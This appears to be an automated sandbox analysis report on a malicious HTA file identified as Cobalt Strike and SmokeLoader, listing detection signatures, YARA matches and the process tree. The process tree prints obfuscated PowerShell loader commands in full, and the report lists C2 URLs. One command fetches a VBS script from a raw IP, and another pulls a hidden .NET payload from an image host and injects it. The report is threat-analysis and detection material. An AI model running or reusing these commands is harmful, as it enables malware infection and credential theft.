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Windows
Analysis Report
begoodforeverythinggreatthingsformebetterforgood.hta
Overview
General Information
Detection
Cobalt Strike, SmokeLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Benign windows process drops PE files
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected SmokeLoader
Yara detected obfuscated html page
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if browser processes are running
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to compare user and computer (likely to detect sandboxes)
Creates a thread in another existing process (thread injection)
Found evasive API chain (may stop execution after checking mutex)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query CPU information (cpuid)
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7452 cmdline:
mshta.exe "C:\Users\ user\Deskt op\begoodf oreverythi nggreatthi ngsformebe tterforgoo d.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 7520 cmdline:
"C:\Window s\system32 \cmd.exe" "/c powERs hEll -EX bYPAss -noP -W 1 -C DevIcEcre deNtIaldEP lOymEnt ; inVOKe-e XPRESSIOn( $(invOke-e xpREsSiOn( '[sYSTEm.T ExT.ENcODI Ng]'+[CHAr ]0x3a+[cha r]58+'UtF8 .geTsTRinG ([systeM.C oNVErT]'+[ cHaR]58+[c hAR]58+'FR OMBaSe64ST ring('+[Ch Ar]0x22+'J FNhdVU2ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gID0gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgY WRELXR5UEU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW1lT UJlUkRFRml uaXRpb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVybG1PTi5 kTGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIHVxeEF1L HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBnSFdna 21OLHN0cml uZyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBtd FpJWXFYSUJ oLHVpbnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgUSxJbnR QdHIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga nRSbCk7JyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtbkFtR SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAieCI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLU5hb WVzcEFDZSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBOc0RIa nhBICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 QYXNzVGhyd TsgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJFN hdVU2OjpVU kxEb3dubG9 hZFRvRmlsZ SgwLCJodHR wOi8vMTkyL jMuMjcuMTQ 0LzI1MC9zd 2VldG5lc3N nb29kZm9yZ 3JlYXRuZXN zdGhpbmdzd 2l0aGdvb2Q udElGIiwiJ EVOVjpBUFB EQVRBXHN3Z WV0bmVzc2d vb2Rmb3Jnc mVhdG5lc3N 0aGluZ3N3a XRoLnZiUyI sMCwwKTtTV GFyVC1TTGV lUCgzKTtpT nZvS0UtZXh wcmVzU2lvT iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAiJEV OVjpBUFBEQ VRBXHN3ZWV 0bmVzc2dvb 2Rmb3JncmV hdG5lc3N0a GluZ3N3aXR oLnZiUyI=' +[cHaR]34+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7528 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7608 cmdline:
powERshEll -E X bY PAss -noP -W 1 - C De vIcEcredeN tIaldEPlOy mEnt ; i nVOKe-eXPR ESSIOn($(i nvOke-expR EsSiOn('[s YSTEm.TExT .ENcODINg] '+[CHAr]0x 3a+[char]5 8+'UtF8.ge TsTRinG([s ysteM.CoNV ErT]'+[cHa R]58+[chAR ]58+'FROMB aSe64STrin g('+[ChAr] 0x22+'JFNh dVU2ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRE LXR5UEUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW1lTUJl UkRFRmluaX Rpb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoInVy bG1PTi5kTG wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIH VxeEF1LHN0 cmluZyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BnSFdna21O LHN0cmluZy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBtdFpJ WXFYSUJoLH VpbnQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg USxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAganRS bCk7JyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AtbkFtRSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAieCIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU5hbWVz cEFDZSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BOc0RIanhB ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1QYX NzVGhydTsg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJFNhdV U2OjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTkyLjMu MjcuMTQ0Lz I1MC9zd2Vl dG5lc3Nnb2 9kZm9yZ3Jl YXRuZXNzdG hpbmdzd2l0 aGdvb2QudE lGIiwiJEVO VjpBUFBEQV RBXHN3ZWV0 bmVzc2dvb2 Rmb3JncmVh dG5lc3N0aG luZ3N3aXRo LnZiUyIsMC wwKTtTVGFy VC1TTGVlUC gzKTtpTnZv S0UtZXhwcm VzU2lvTiAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAiJEVOVj pBUFBEQVRB XHN3ZWV0bm Vzc2dvb2Rm b3JncmVhdG 5lc3N0aGlu Z3N3aXRoLn ZiUyI='+[c HaR]34+')) ')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 7772 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\thj2bm0i \thj2bm0i. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 7788 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S2316.tmp" "c:\Users \user\AppD ata\Local\ Temp\thj2b m0i\CSCE4B AB64F6B1C4 E5BA339BD9 879E79427. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 7900 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\sweet nessgoodfo rgreatness thingswith .vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7948 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " if ($null -ne $PSVer sionTable -and $PSVe rsionTable .PSVersion -ne $null ) { [void] $PSVersion Table.PSVe rsion } el se { Write -Output 'P owerShell version No t availabl e' };if ($ null -ne $ PSVersionT able -and $PSVersion Table.PSVe rsion -ne $null) { [ void]$PSVe rsionTable .PSVersion } else { Write-Outp ut 'PowerS hell versi on Not ava ilable' }; $originalT ext = '#x# .rofdoogem neve/052/4 41.72.3.29 1//:p##h'; $restoredT ext = $ori ginalText -replace ' #', 't';$v icegerents = 'https: //res.clou dinary.com /dnkr4s5yg /image/upl oad/v17354 20882/givv uo2katk3jn ggipgn.jpg ';$unroya list = New -Object Sy stem.Net.W ebClient;$ googleabil ity = $unr oyalist.Do wnloadData ($vicegere nts);$tuil lette = [S ystem.Text .Encoding] ::UTF8.Get String($go ogleabilit y);$marisc hal = '<<B ASE64_STAR T>>';$botc hedly = '< <BASE64_EN D>>';$usch er = $tuil lette.Inde xOf($maris chal);$dif famed = $t uillette.I ndexOf($bo tchedly);$ uscher -ge 0 -and $d iffamed -g t $uscher; $uscher += $marischa l.Length;$ tetri = $d iffamed - $uscher;$e ngagement = $tuillet te.Substri ng($uscher , $tetri); $admixture = -join ( $engagemen t.ToCharAr ray() | Fo rEach-Obje ct { $_ }) [-1..-($en gagement.L ength)];$s atisfy = [ System.Con vert]::Fro mBase64Str ing($admix ture);$riv ets = [Sys tem.Reflec tion.Assem bly]::Load ($satisfy) ;$subtract ions = [dn lib.IO.Hom e].GetMeth od('VAI'); $subtracti ons.Invoke ($null, @( $restoredT ext, 'chlo rinations' , 'chlorin ations', ' chlorinati ons', 'asp net_compil er', 'chlo rinations' , 'chlorin ations','c hlorinatio ns','chlor inations', 'chlorinat ions','chl orinations ','chlorin ations','1 ','chlorin ations','T askName')) ;if ($null -ne $PSVe rsionTable -and $PSV ersionTabl e.PSVersio n -ne $nul l) { [void ]$PSVersio nTable.PSV ersion } e lse { Writ e-Output ' PowerShell version N ot availab le' };if ( $null -ne $PSVersion Table -and $PSVersio nTable.PSV ersion -ne $null) { [void]$PSV ersionTabl e.PSVersio n } else { Write-Out put 'Power Shell vers ion Not av ailable' } ;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7956 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - aspnet_compiler.exe (PID: 5816 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - explorer.exe (PID: 2580 cmdline:
C:\Windows \Explorer. EXE MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 7272 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 7788 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 7868 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 7968 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 7912 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - WerFault.exe (PID: 7676 cmdline:
C:\Windows \system32\ WerFault.e xe -u -p 7 912 -s 420 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - explorer.exe (PID: 7944 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 7728 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5) - explorer.exe (PID: 7568 cmdline:
C:\Windows \SysWOW64\ explorer.e xe MD5: DD6597597673F72E10C9DE7901FBA0A8) - explorer.exe (PID: 6100 cmdline:
C:\Windows \explorer. exe MD5: 662F4F92FDE3557E86D110526BB578D5)
- icgfugf (PID: 7700 cmdline:
C:\Users\u ser\AppDat a\Roaming\ icgfugf MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - conhost.exe (PID: 7496 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- icgfugf (PID: 5844 cmdline:
C:\Users\u ser\AppDat a\Roaming\ icgfugf MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - conhost.exe (PID: 8112 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
SmokeLoader | The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body. |
{"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
JoeSecurity_SmokeLoader | Yara detected SmokeLoader | Joe Security | ||
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
Windows_Trojan_Smokeloader_4e31426e | unknown | unknown |
| |
Click to see the 8 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_SmokeLoader_2 | Yara detected SmokeLoader | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |